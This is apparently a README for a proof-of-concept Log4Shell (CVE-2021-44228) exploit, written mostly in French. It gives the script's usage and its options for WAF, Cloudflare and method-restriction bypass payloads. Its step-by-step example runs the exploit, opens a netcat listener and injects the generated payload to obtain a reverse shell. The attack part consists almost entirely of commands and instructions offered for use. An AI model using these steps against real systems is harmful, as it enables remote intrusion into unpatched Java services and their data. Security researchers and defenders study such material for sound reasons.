Exploit simple Log4j

Un exploit de preuve de concept pour la vulnérabilité CVE-2021-44228.

Log4j, utilisé pour journaliser les informations de sécurité et de performance, impacte plus de 3 milliards d'appareils utilisant Java à travers divers services grand public et d'entreprise, sites web et applications, ainsi que des dispositifs médicaux et des systèmes associés.
Remarque : Ce n'est pas un exploit « point and click ». Le payload de déclenchement initial sera généré, mais son injection à l'endroit approprié (c.-à-d. en-tête HTTP/chat/etc.) sera à la charge de l'utilisateur.

Prérequis

• python3
• pip install -r requirements.txt
• Installez jdk1.8.0_20 et ajoutez le dossier bin à la variable d'environnement

usage: python CVE-2021-44228-exploit.py --help 
[!] CVE: CVE-2021-44228
[!] This is simple Log4j exploit to get reverse shell
[!] Reference: https://akashpatil.me/log4j-guide-book.html

usage: CVE-2021-44228-exploit.py [-h] [--userip userip] [--webport webport] [--lport lport] [-b bypass]

log4shell Reverse shell exploit

optional arguments:
  -h, --help            show this help message and exit
  --userip userip       Enter IP for LDAPRefServer & Shell
  --webport webport     listener port for HTTP port
  --lport lport         Netcat Port
  -b bypass, --bypass bypass
                        Type of bypass payload. None/WAF/Methods/Cloudflare. Methods - "ldap", "jndi", or the
                        ${lower:x} method restriction bypass

Exemple :

1. Exécutez le script pour Linux OS avec le payload de contournement de méthode

python poc-csw.py --userip private-ip --webport 8888 --lport 9001 -b methods

2) Exécutez netcat sur le port 9001 sur votre machine locale

nc -lvnp 9001

3. Copiez le payload « Try me » pour contourner la restriction de méthodes et utilisez-le comme variable d'entrée pour obtenir un shell dans netcat
   Remarque : Si aucun bypass n'est choisi, utilisez le payload « Send me »

Référence

• https://akashpatil.me/log4j-guide-book.html
• https://github.com/kozmer/log4j-shell-poc